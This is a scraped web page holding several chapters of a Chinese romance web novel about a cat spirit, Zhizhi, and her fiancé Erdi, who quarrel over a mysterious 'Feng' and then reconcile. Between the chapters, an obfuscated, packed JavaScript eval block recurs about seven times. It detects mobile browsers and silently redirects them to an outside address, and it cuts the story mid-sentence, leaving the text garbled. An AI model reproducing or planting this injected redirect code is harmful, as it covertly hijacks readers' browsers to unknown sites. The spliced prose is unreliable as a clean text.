;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086510|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那对大大的龙凤烛,深吸一口气放出一个重磅消息: “我们决定成亲了。” 这个消息,炸得梁赞脑瓜子嗡嗡的。 不是,他就出去练了半天武功,到底错过了多少东西? 他极其缓慢的眨了下眼睛,愣愣的又问: “真,真的?” 静之动了下嘴刚想回答,二娣就又笑着走了出来,他语气坚定对着梁赞说: “真的。” 他想了下,又朝梁赞交代: “你等下唤你师父过来下,我有事与他商量。” 梁赞忍不住又问: “什么事?” 二娣回头看了一眼蹲在不远处,红着脸拿着根草药僵住了的静之,才轻轻的说: “选个良道吉日,成亲。” 梁赞拳捶掌心,终于反应过来,他师娘……终于是苦尽甘来了吗? 真到了这一天,他莫名感到有些眼热。 于是快速昂首眨了几下眼睛,泛去眼里突然涌上来的泪意,才急急说了句: “我这就去!” 说完,立马往隔壁院子奔去。 “小之……我帮你。” 眼瞅着他的衣服下摆就要掉进她盆里,她迅速扯着水盆往旁边一挪,又没好气地指了指才卸一半的推车,还有那头正啃篱笆当饭吃的牛说: “行了,都要成亲了,还黏糊。你把东西都拿进去收好,还有,把牛还给人家,不然你的篱笆都快给它吃完了。” 他脚步一顿,默默说了句话,才要开始行动。 他说:“也是你的 篱笆。” 抬头一看,静之已经不在盆前。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第56章 吵架 “定在什么时候?” 她思虑几许,认真落下笔触,边慢慢写着信,边与对面的人问话。 二娣撑着脸,翻看着旁边被她写废的几张信纸,写错一字就重写,墨水滴到了也重写,他心中暗道,她是真对戏班里的人上心了。 “定在……” 突然他的视线定格在几张信纸后面的一张废纸上,那是她的杰作。 几只王八歪歪扭扭画在正中央,二还行,几个二娣的娣字已然晕染开来,变成几个墨点子在左下侧。 上次他没细看,这回他才发现,他的名字被圈了起来,然后牵过一条横向的墨线,墨线另一头,同样是一个圈,圈里写了几个小小的风字。 二娣脸色渐渐黑了下来,他鬼使神差的数了一下,发现那风字竟还比二娣多了两个。 风? 是谁,跟他有什么关系? 为什么要跟他连在一起? 电光石火间,他突然想起初初与她见面时,她嘴里呢喃的那句“阿风。” 二娣怔住了,他的指腹越发用力捏着这张废纸,指腹旁边的纸边边甚至被他捏出了褶皱。 不知为何,他突然又想起初次见她时,她眼里的那抹熟稔。 原本他以为,她是来看过他的戏,才会觉得他眼熟的,现在…… 看着指腹边变得皱皱巴巴的风字,他想,他宁愿不要那抹熟稔。 …… “怎么不说话?” 静之手中的毛笔往上一提,疑惑地朝他看去,却发现他有些稀疏的眉头皱得都隆起了两团小肉球,脸色也黑得吓人。 她心里咯噔一声,却又有些迷茫: “怎,怎么了?” 她默默将手中的毛笔搁在一旁的笔搁上,伸出右手想去够对面那只紧握成拳的左手。 刚要碰到,左手立刻收回放到桌下。 她轻咬下唇,突然有些莫名的委屈,于是又问了一遍: “到底怎么了?” 二娣抬眸看她,静之这才发现他眼里的情绪。 愠怒,不可置信,怀疑,还有几丝被背叛的感觉。 她指尖一抖,莫名的,也把伸出去的右手收了回去。 又来了。 他到底怎么了? 二娣看了她一眼,强压住内心迅速翻涌上来的强烈醋意和背叛感。 他指尖一松,信纸飘然落下,几秒后,他才微抖着指尖将那张纸旋转一圈,正向推到静之面前。 轻咬了一下牙根,才慢慢启唇问她: “风……是谁?” 仿佛难以启齿,他说得极慢,两只眼睛却又紧紧盯着她的脸,想看看她有什么反应,又害怕她即将展现出来的反应,是他不想看到的。 果然。 见到那张废纸的时候,她瞳孔震荡了一瞬,脸色突然煞白,张了张嘴,却没有立刻与他解释。 二娣迅速闭上了眼,不敢再看,置于膝上的拳头却死死攥着裤管。 他深吸几口气,却发现平缓不了急切的呼吸,更别说不断翻腾上来的怒意。 索性将心里的疑惑一一问出: “为什么把我的名字与他的牵在一起?我们……长得很像是吗?那几只乌龟,为何是偏偏是那个数量?” 他又张了张嘴,艰难地挤出那个他最害怕的问题: “我……是他的替身吗?” 话未说完,他便急忙低头。 他害怕,从她脸上看出哪怕是一丝肯定,他想,他会心碎的。 “非要问个明白吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086511|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 她看着窗外暗沉下来的天色,语气有些飘渺。 她突然有个预感,若是挑明了说,这个亲……可能就成不了了。 二娣像是下定决心般,突然又抬起头,死死盯着她的眼,过了几秒,便重重点头。 静之从鼻间长长出了一口气。 想说算了,她也把秘密埋在心里许久了,告诉他也无妨。 于是挺直腰板,对上他的眼睛,一脸严肃的说: “你不是他的替身,你就是……” “你就是……” 仿佛被下了禁言令,那个他字,在她舌间绕了几圈,硬是说不出口。 静之有些慌了,她捂着嘴,莫名又看了一眼外面的天。 心道,怎么回事,为什么说不出来? 看着对面的人眼里微微亮起了一点希望的光,她咬咬牙打算换个说法。 “他就是……” 你字又说不出来。 “你们是……” “同一人”又憋到嘴边。 …… 静之抓耳挠腮,说了好多次,每次话都只能说半截,看着对面那人眼里渐渐寂灭的光,她的心也凉了个透彻。 她沉默了许久,又叹了口气,对他说: “我说不出来,我不是故意骗你的,但我保证,我喜欢的一直是你,只有你,二娣。” 二娣的心此时都快碎成两半了,他只感觉就连呼吸一口气,心口都在痛,哪里还有心思去管什么成亲的事儿。 他挪动了一下屁股,把脸朝着窗外,淡淡地说: “你出去,让我静一静。” “ ……二娣,你不相信我吗?” 这章没有结束,请点击下一页继续阅读! 第57章 他说他不喝 体弱之人,勿吹太久的凉风,是真理。 二娣吹了一下午的风,也许还沾上了几滴雨,许久未犯的哮喘突然发作了。 那床婚被,已经被喘得不行的他锁进柜子里,此时,他盖着旧被子躺在床上苟延残喘。 “嗯?娘娘腔,你的脉停了?!” 二娣只觉胸口憋闷到不行,心口更是一阵一阵的痛意泛来,他朝华宝觑了一眼,视线又渐渐下移到手上,呲笑一声,说话声虚弱到几乎是飘着的: “你搭在漆枕上,当然没有脉搏了……” 华宝低头一看。 嚯,还真是!吓他一跳! 他还以为这娘娘腔刚挑了个好日子,就要撒手人寰了呢。 他挪了下手指,刚搭上二娣手腕,就被他身体的凉意冰得一哆嗦。 他叹了口气说: “你说你,明明知道自己有病,还非得在窗前坐半天,而且下雨了你也不知道躲躲,是不是要成亲了,你就乐傻了?” 听到“成亲”二字,二娣心中又是一阵撕裂般的疼痛,他把脸转向墙面,呼吸却是越发急促。 她当真是真心与他,与梁二娣这个人,要成亲的吗? 华宝瞄了他一眼,有些心疼,嘴巴上却又别扭地说着: “唉,人要是穷啊,就别生富贵病,静之替你找的那些草药啊,质量都不是很好,要不你跟阿赞回佛山去,至少在那里找药比较方便……话说,那小子半天没见人影,到哪儿去了?” 二娣眼神暗了一瞬,同样划过一缕忧思。 他……找到她了吗? 她是不是……不想要他了? 想到这,二娣干涩的眼眶又是一阵灼热,见他师兄看过来,他赶紧闭上眼睛,胸口的起伏却是又大了些。 气实在不顺,他喉咙一痒,忍不住咳了起来。 华宝浓密的眉毛拧得都快打结了,他朝正关窗的闺女唤了一声: “奀妹,来,快拿药膏替你师叔揉揉胸口。” 奀妹乖巧地应和了两声,快速拿起放在桌上的药膏,迈着急匆匆的步伐向二娣走去。 她满心焦急,一心想着赶快帮二娣上药治疗。 然而,就在她刚刚想要伸手去解开二娣的衣领时,一只手突然横在了她面前,硬生生地将她隔离开来。 只见二娣微微侧身,将自己的身体转向墙边,接着又是一阵剧烈的咳嗽声响起,他边咳边喘着粗气说道: “嗬……不用了。” 即便不与她成亲,这具身躯,他无论如何都不愿意让其他女子触碰。 一旁的华宝看着二娣如此倔强的模样,实在有些无奈,不禁咂了咂嘴,同时朝着他的后脑勺狠狠地翻了一个大白眼,没好气地说道: “哼!算了算了,看在你生病的份儿上,俺不和你一般见识。俺这就出去给你熬药去。奀妹啊,你先回家一趟,把家里的窗户都关好,依俺看呐,这场雨怕是今晚上都不会停。” 听到这话,奀妹连忙点头答应,然后转身往门外走去。 当她走到门口的时候,忽然发现门外竟然站着两个湿漉漉的人。 她先是一愣神,随后小心翼翼地抬起手指,悄悄地指向屋里的方向。 谁曾想,她刚伸出去的手指头,竟一下子怼到了她爹的胸口上。 华宝下意识地回过头瞅了一眼正背对着门的二娣,紧接着轻手轻脚地将房门缓缓合上。 这时,梁赞看了一眼面无表情的静之,见她神色没什么变化,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086512|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这才尝试性的把手中的托盘递给了他师父。 华宝接过以后,突然耸动了一下鼻子,眉头一皱:“谁受伤了?” 静之把手往身后藏了藏,淡淡的说: “给他喝下吧,华宝叔……我能去你家住一段时间吗?” 华宝猛地回头看她,见她脸色白得吓人,眉宇之间暗含忧伤,他眼皮一跳,呐呐低声道: “你俩吵架啦?” 静之别过脸,握着拳,指甲抠着手心的纱布,只觉得那点子痛意完全盖不住心头莫大的委屈感,她闭上眼,硬是把眼里的泪意逼了回去,微抖着唇说: “我不想住这里了,反正他也不想看到我。” 华宝把药递给奀妹,又指了指房间,奀妹心领神会,端着药就进去了。 这时华宝才回过头来,他再也按捺不住内心的好奇与焦急,伸手将他们俩用力地拉到了墙角的僻静处。 深深地叹了一口气之后,他压低声音问道: “到底发生什么事?” 然而,回应他的只有一片沉默。 华宝皱起眉头,目光落在一直低垂着头、默不作声的静之身上。 她像是被霜打蔫了的花朵一般,整个人无精打采。 华宝无奈之下,只好又将视线转向一旁的梁赞。 却见梁赞正满脸怒气,双眼死死地盯着那扇半合着的房门。 华宝心急如焚,伸手扯了扯梁赞那件还不断滴着水珠的衣袖,催促道: “你快跟俺说呀!” 听到这话,梁赞慢慢地转过身子,默默地凝视了一眼静之头顶的发旋,眼神中闪过一丝复杂。 本小章还未 完,请点击下一页继续阅读后面精彩内容! 第58章 对不起 隔着窗台,他的目光直直地落在那张苍白如纸、毫无血色的脸上,静之紧闭双眼,已然晕厥过去。 这一幕让他的心瞬间坠入无底深渊,一股无法言喻的慌乱涌上心头。 就在这时,身后传来梁赞的声音。 二娣闻声回头望去,只见梁赞手中正端着一碗药缓缓走来。 然而此时此刻,二娣哪还有半点心思去喝这碗药? 他的脑海中全都是静之晕倒时那令人揪心的模样。 于是,二娣将脸一撇,他强忍着身体的不适,艰难地下床,嘴里喃喃道: “我不喝,她怎么……”话未说完,“不喝”这两个字便如同利箭一般直刺梁赞的耳膜。 一瞬间,梁赞感觉自己脑子里一直紧绷着的那根弦突然断裂开来,所有的理智都被怒火所吞噬。 他轻轻地将药碗放置在旁边的柜子上,紧接着身形一闪,如闪电般冲到二娣面前。 一只手猛地揪住二娣的领口,另一只手则高高扬起拳头,带着雷霆万钧之势狠狠地砸向二娣。 那拳头距离二娣的鼻尖仅仅只有不到 1 厘米,但最终却并没有真正落下,而是停在了半空中。 尽管如此,拳头上传来的力量仍使得空气发出一声轻微爆鸣,而梁赞的手指更是因为过度用力而微微发白,关节处咔咔作响。 面对梁赞突如其来的举动,二娣既没有挣扎反抗,也没有丝毫退缩之意。 他只是静静地垂下双手,昂首直视梁赞那双充满愤怒与失望的眼睛。 梁赞紧紧地盯着眼前人那毫无血色的面容,以及那双眼睛里流露出的对静之无尽的忧虑与牵挂,他高高举起的拳头在空中微微颤抖,无论如何都无法狠狠砸落下去。 他缓缓地闭上双眼,深深地吸了一口气,努力平复着自己内心汹涌的情绪。 随后,他松开了紧揪着对方衣领的手,转而一把牢牢抓住那人绵软无力的胳膊,用力地往自己的肩膀上一搭。 他紧咬着牙关,从牙缝里挤出一句充满愤怒的话: “她怎么了?我这就让你亲眼瞧瞧,她究竟变成什么样了!!梁二娣啊梁二娣,你究竟还有没有良心!” 然而,这句话尚未完全说出口,他便已经架起浑身瘫软如泥的二娣,脚步踉跄着朝屋外快步走去。 刚踏出房门,一阵狂风裹挟着豆大的雨点扑面而来,打得人脸上生疼。 望着外面那犹如银河倒泻般的倾盆大雨,梁赞心中终究还是生出一丝不忍之情。 他实在不忍心让自己曾经的师父就这样暴露在这无情的雨幕中。 于是,他弯下腰,将二娣背在身后,又快速抄过靠在墙边的油纸伞打开,便如同离弦之箭一般,以近乎冲刺的速度跑进了隔壁的院子。 …… 只听得“砰”的一声巨响,房门在他猛力的一脚之下,快速地向着墙边撞去。 撞到墙边后,房门又像是不甘心似的,渐渐地回弹了一点点。 这声巨大的声响,让屋内的两人吓了一跳,纷纷回头看向来人。 奀妹刚给静之换好衣服,此时一脸不赞同的看向梁赞。 华宝更直接了,他放开静之的手腕,唰的一声站起身子。 “你带他过来干什么?嫌他病得还不够重啊?药喝下去没有?” 梁赞的脸色阴沉得仿佛能滴出水来,他紧紧抿着嘴唇,一言不发。 只见他动作略显粗暴地将二娣一把架到了床尾,随后小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086513|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心翼翼地揭开了静之手上的蚕丝手套。 当那两只伤痕累累、布满新旧交错伤口的手暴露在空气中时,梁赞的心中涌起一股难以言喻的愤怒和心疼。 他揪着已经瘫软在床角的二娣的衣领,毫不留情地将其脑袋压低,让他的目光与静之受伤的双手相对。 梁赞的声音冰冷刺骨,带着压抑不住的怒火: “睁大你的眼睛看清楚!这上面的每一道伤口,都是因为你留下的!你这个没良心的东西,难道还不明白吗?就在刚才,你随手推翻在地的那碗药里,也掺和着她的鲜血!如果不是因为她,早在几个月前,你这条命就已经交代了!” 二娣听到这番话后,脑海中犹如响起了一声惊雷,震得他眼前一阵发黑。 他颤抖着伸出手,想要轻轻地抚摸一下那只无力垂落在床边的手,但在即将触碰到的瞬间,他又像触电般猛地缩回了手。 一种深深的自责感瞬间涌上心头,让他觉得自己根本不配去触碰这样一双满是创伤的手。 二娣的手指慢慢地弯曲起来,最终攥成了一个拳头,缓缓地收回到了身侧。 他的眼神直勾勾地盯着静之手心上那一道道触目惊心的伤疤,那些伤疤宛如一道道利刃,无情地划开他的心口。 此时,他感觉自己的心一阵淋漓,流淌而出的并非鲜血,而是无尽的歉意、懊悔以及深深的自责。 这些情感如同汹涌澎湃的潮水一般,一波接一波地冲击着他的心灵防线,令他几乎无法呼吸。 他的眼神渐渐上移,触到她敞开两颗扣子领口处,那条染血的纱布时,他的瞳孔开始急剧震荡。 小主,这个章节后面还有 哦,请点击下一页继续阅读,后面更精彩! 第59章 她跑了 静之感觉自己像是被卷入了一场无边无际的黑暗旋涡之中,不停地上下沉浮着。 她的双脚轻飘飘的,仿佛失去了支撑身体的力量; 脑袋则昏沉沉的,就像被一团浓雾紧紧包裹住。 全身上下一会儿冷得瑟瑟发抖,一会儿又热得如同置身于熊熊烈火之中。 这一觉对她来说简直就是一种折磨,无论怎样努力都无法安稳入睡。 心口和手心不时传来的阵阵刺痛,将她从深沉的梦乡中拖拽出来,让她神思不安。 即便处于浅眠,她那混沌的意识里仍然能感受到有个人在耳边喋喋不休,让人心烦意乱。 而颈侧也传来异样的不适感,那种感觉就好似有水液源源不断地流淌下来,随后迅速干涸,使得她皮肤紧绷绷的,异常难受。 就在这时,那个神秘人竟然把魔爪伸向了她的双手! 她顿时感觉两只手心传来一阵难以忍受的瘙痒,仿佛有一只轻柔的羽毛在轻轻地撩拨着,痒得她手臂上瞬间竖起了无数细密的鸡皮疙瘩。 这种奇痒无比的感觉令她几近抓狂,心中的怒火噌噌地直往上蹿。 不知道过了多久,那个人总算是消停了下来。 静之长舒一口气,一直紧绷着的神经终于得以稍稍放松。 随着思绪逐渐平静,她的身体也松弛下来,缓缓沉入到深度睡眠中。 就在这时,耳边突然又传来一阵小声嗡嗡,说的还尽是她不爱听的话。 静之额头青筋直跳,忍了许久,实在忍无可忍,于是迅速抽出被握紧的左手,狠狠往右一扇—— “啪!” 万籁寂静。 啊,安静真好。 睡觉。 她挪了挪屁股,转了个身,打算接着睡,身后突然传来一声憋不住的呜咽。 静之猛地睁开眼睛,气得脸颊鼓鼓: “哭哭哭!就知道哭!家都被你哭散了!觉都被你吵没了!滚出去!” 她猛地转头一看。 好家伙,二娣不仅眉毛浓了,胡子也浓了不少,此时他捂着高高肿起的右脸颊,眼角带泪,嘴角却是往上扯着。 见她看过来,他有些慌: “我,我没哭,我在笑……不出去好不好?” 说着,他又把嘴角往上提了提。 不知为何,静之看他脸上那牵强的笑容,心口像是被人扭了一把一样,酸痛难耐。 她冷哼一声,转过头去,背对着身子,不再理他。 二娣见她醒了,心里有高兴,更多的是恐慌。 刚刚她看过来的那个眼神,是他从未见过的冷淡,就连上回他在河边拒绝她时,她也未曾这般看过他。 见她背过身子不理人,他动作极轻极慢,悄悄的挪近身子,又偷偷摸摸的,虚虚环着她的腰。 过了几秒,见她没动静,以为她默认了,他内心一喜,轻轻把手臂搁在她腰间。 重量落下的那一刻,又是一声脆响。 “不许动我!” 二娣头抵着她的背,手中力道不减反增,直到完全箍住她的腰身,他这才松了口气。 下一秒,无数的巴掌落到她腰间的手臂上,她的脚也不断往后蹬动着他的小腿,嘴里还不住的怒吼: “不许碰我,不许碰我,梁二娣!我不要你了!你身体好了,就给我滚!” 二娣轻轻地抽了一下鼻头,那股酸涩感就像是决堤的洪水一般,泪水止不住地往上涌。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086514|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然而,他的手却始终紧紧地圈着静之,生怕一松手眼前人就会消失不见。 此时的他,身体微微颤抖着,就连说话的声音也带上了明显的颤音: “不能不要我,小之!我不会再问那些让你心烦的问题了,我保证,我以后什么都不问了…别用那样的眼神看着我…我们说好要成亲的…日子我都选好了…” 也不知道究竟是哪一个字触动了静之心中最深处的伤痛,原本还情绪激动的她突然间就安静下来。 但她整个人依旧绷得紧紧的,脊梁骨挺得笔直,宛如一根绷紧的弦。 她缥缈的话从前方传来: “我们……还有必要成亲吗?梁二娣,我追得好累啊……让我走吧……” 二娣猛地心头一颤,他来不及多想,双手用力将静之的身子转过来。 当他看到那张挂满泪水的脸庞时,内心犹如被针扎般一阵刺痛。 可是,他并没有因此松手,反而俯身下去,毫不犹豫地吻住了她那苍白如纸的嘴唇。 就在两人嘴唇相触的那一刹那,静之下意识地狠狠地咬住了二娣。 奇怪的是,她的眸中已经看不到丝毫的愤怒,取而代之的是绝望和死寂,仿佛生命中的最后一丝光亮也在此刻熄灭了。 咬那一下,她是使了大力气的。 当血腥的味道在舌尖弥漫开来的一刹那,二娣非但没有松开握着她脖颈的手,反而愈发用力地将她拉近自己。 令人意想不到的是,原本还在奋力挣扎抵抗的静之,却突然放松了所有力气,唯有两行清泪不受控制地顺着脸颊滑落,滴滴答答地坠入两人紧密相贴的唇间。 小主,这个章节 后面还有哦,请点击下一页继续阅读,后面更精彩! 第60章 众人劝静之 “他这几天恢复的怎么样?” “你还说呢,你刚刚要是不跑出来,我看他好像都跟正常人没什么两样了,现在好了,又吐血了。” 梁赞转头看着蹲在墙角的静之,手一拍,又一摊,一脸无语。 跑就算了,还要拿离开这种事吓唬他娣哥。 他不吐血,谁吐血啊。 他才刚看了静之那么一眼,就发觉她有些不对劲儿,于是伸出手指头数了数: “一二三四五六七……诶,你的尾巴怎么少一条?你之前半人半猫的时候不是八条吗?” 静之把身后的尾巴全部扬到跟前数了数,这才有些失落地垂头说: “你以为心头血是那么好取的吗?取一点少一点,修为倒退了,尾巴就会变少。” 梁赞突然嘘声,他挠了挠头又问: “那你准备怎么办?就一直不见他啊,他的身体好不容易给你养好了,你一走,我看他要不了多久又会回到原点,你可别忘了,他这是天生的,底子本来就不好。” “……” 静之转蹲为趴,毛绒绒的头部放在前爪上,清亮的猫瞳此时有些迷茫。 想了许久,她才悠悠说着: “还是要用药养着,你带他去佛山吧,待在这里,对他没什么作用。” 穷乡僻壤的,要药没药,要医生没医生,生个病都不知道该拿那个病秧子怎么办。 梁赞低头看她,眼神有些复杂: “我倒是可以带他回我家住,而且我家就是卖药材为生的,我爹也会医术,我家对他来说,是目前最理想的去处。不过……” “不过什么?” 见他半天不说话,她拿爪子扒拉了两下他的衣袖。 梁赞看着衣袖上划痕和起球有些无语,他拍去上面几根猫毛,才指了指静之说: “我是说你,你怎么安排?你要不要一起去啊?” 此话一出,静之扬起的尾巴都僵了一瞬,随即又慢慢的全部垂落下来,卷到她身边。 “……我,我不知道。” 她本就是因他而来,若是离了他,她也不知道该去哪里? 梁赞看着那双无神的猫瞳,突然有些心疼,他伸出手刚想摸摸她的头安慰一下。 还没触到她的毛发,静之就一个侧滚翻避过他的手,又站起身抖一抖身上的草屑,才说道: “别碰我。” 梁赞有些尴尬,他讪笑一下,又尝试性提出建议: “我知道你暂时不想理他,要不……你跟我们一起回佛山,我帮你额外安排个船舱,等你什么时候想见他了,再去见他?” 静之不想回答这个问题。 她突然抬起头,直直地盯着他说: “你是不是喜欢奀妹?” 话音刚落,梁赞瞬间就爆发出一阵猛烈的咳嗽,他面红耳赤的,眼珠子骨碌乱转,好半晌才喘过来气。 静之白了他一眼说: “咋,被二娣传染啦?” 梁赞没理她的调侃,而是下意识伸出半个头看向对面院子里正在喂鸡的奀妹,他的眼神有些许柔和。 也许是旁观者清,静之明明白白地看到他眼里有一丝异样的情愫。 这点情愫尚浅,也许连这个傻小子自己都没发现。 “你就是喜欢她,可能不多,但你动心了。” 梁赞脸色微红,他转头看了静之一眼,刚一张嘴,瞬间又闭上嘴巴。 他下意识地不想去反驳她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14086515|149530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话,只是“喜欢”这两个字,仿佛在他心里生了根,让他不由自主地开始思考自己有些异常的情感波动。 他想,也许是那只鸡,也或许是那碗姜汤暖了他的心吧。 “你可以叫华宝叔一起去佛山,他不舍得让奀妹自己一个人在家的。” 听到这话,梁赞脑子里瞬间浮起华宝叔护犊子的举动,他不禁吓得浑身一个哆嗦。 他有些低落地说:“他不一定愿意去。” 退一万步讲,他在他师父眼里,可能真的就是个功夫奇烂的败家仔吧,如果不是二娣帮他,他肯定都拜不了他为师。 …… 正当他垂头思索的时候,静之心里却挂念着昏迷的二娣,她纵身一跃,跳到隔壁篱笆上,又转头悠悠对梁赞说了句: “你没问,怎么知道结果呢?先努力尝试了再说吧。” 梁赞突然沉默,下一秒,却又对着即将离去的静之说: “你确定……你不再努力一把吗?娣哥,他是爱你的,如果按照你说的那样……这一切都是个误会,他只是吃醋了而已。” 静之本来前爪都抬起来要跳出去了,被他突然这么一说,整只猫扑腾了几下,一个倒栽葱,就剩几条尾巴牢牢卷住篱笆上的竹条,她倒吊着身子瞪他一眼说: “我知道,我生气的不是这个,是他老不听我解释,就把我拒之门外……我有时候也会想晾晾他嘛,我要是不说得严重一点,他肯定就一直缠着我,那我还怎么晾?” 而且她心肠软,被他一缠,她肯定没一会儿就原谅他了。 梁赞突然嘿嘿一笑,站起身子,趴在二娣家的院子的篱笆上看着她说: 本小章还 未完,请点击下一页继续阅读后面精彩内容! 第61章 惊弓之鸟 晕了一天的二娣,终于在半夜悠悠转醒。 眼未睁,却感觉脖子痒痒的。 他费力睁开酸涩的眼皮,往下一看。 是一条毛绒绒的猫尾巴,另外几条有的搭在他胸口,有的搭在他手臂上。 他死寂的心突然大力窜了一下,紧接着开始轻快的跳动起来。 她,她没走? 还把尾巴搭在他身上? 她……原谅他了?!!! 通过昏迷前她不愿意让他靠近的反应,他此时不敢有太大动作,只是极慢的侧过头去,用眼角余光偷偷瞄向趴在他枕头上小憩的雪白猫咪。 还未看清全貌,昏暗的房间里,突然传来她懒懒的声音: “醒了?” 二娣咽了口唾沫,竟是有些不敢相信她对他说话了。 他幻听幻视了? 这是梦吧,他想。 仿佛要把自己从梦中唤醒一般,他用力眨了眨浮肿的眼皮。 下一瞬,一根尾巴轻轻扫过他的眼睛,细软的绒毛拂在他的皮肤上,有些让人发痒,他却不敢动手抓一下,只是又咽了口唾沫。 也不敢说话,他怕说话了,她就会从他梦里彻底消失。 “怎么?眼睛不舒服,喉咙也不舒服?” 直到房屋里传出第二声熟悉的轻灵女音,他才慢慢确定下来。 她真的……没走诶。 二娣嘴角越咧越大,却是不敢再转头看她。 静之刚失了不少心头血,此时行为懒懒的,动作有些无力,也不想再跟他吵了。 说到底,还是她的错,要是她不乱画,就不会爆发这次争吵了吧,若是他挑的日子早,他们可能早就成亲了,怎么可能会是现在这种两败俱伤的样子。 她长长呼了一口气,突然觉得有些心累。 尾巴有一搭没一搭地轻轻拍着他的胸口,看见他小心翼翼、不敢接近她的样子,她的心里同样酸涩得厉害。 沉默了许久,她突然说: “我们不吵了好不好?” 二娣极为迅速,却是极轻的点了一下头,还是不敢出声。 静之又叹一声,突然“砰”的一下,变回人形。 二娣瞥见一点她未着衣的样子,苍白的脸色突然涨得通红,这回他动作倒是大了。 只见他把被子猛的向上一撩,把自己的头盖得严严实实的。 他不由自主地思索着,不避着他的话……是他想的那个意思吗? 正想着呢,被子外头突然响起她窸窸窣窣穿衣服的声音,还有她带铃铛的轻声叮铃声。 下一刻,一具温热柔软的身体突然钻进被子里,一双柔若无骨的手轻轻环住他的腰身。 二娣惊得浑身僵硬,他的手虚虚搭在她肩头,却完全不敢触碰。 这时,一只手伸了出来,把他悬空的那只手往下拉,顺着她的力道,轻轻搂她的肩膀。 “小,小之……” 他终于说话了。 也许是久未开口,也或许是哭了三天,此时他的声音沙哑得厉害,几乎听不出原声了。 静之听得心口又是一阵疼痛。 她趴在他的胸口,左手上伸轻轻抚着他的脖子说: “是不是嗓子疼?对不起,我不该吓你。” 二娣突然鼻子又是一红,眼瞅着他又抿着嘴想哭,静之赶紧往上蹭动了两下,捂住他的眼睛说: “再哭,我就出去。” 二娣瞬间深呼吸一口气,极力和缓心中澎湃的情绪,轻笑了一声,语气里带着一丝期待,也带着一丝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你师父是啥性格,你可比我清楚啊,你上回就吃他一只鸡,他就打上门了,更别说这半拉猪了……老实交代!是不是奀妹自己给你的?是的话,你给人家送回去,不然她等会会被她爹骂死的!” 静之正指着梁赞的鼻头骂骂咧咧的,突然厨房门口侧面缓缓伸了半个头出来。 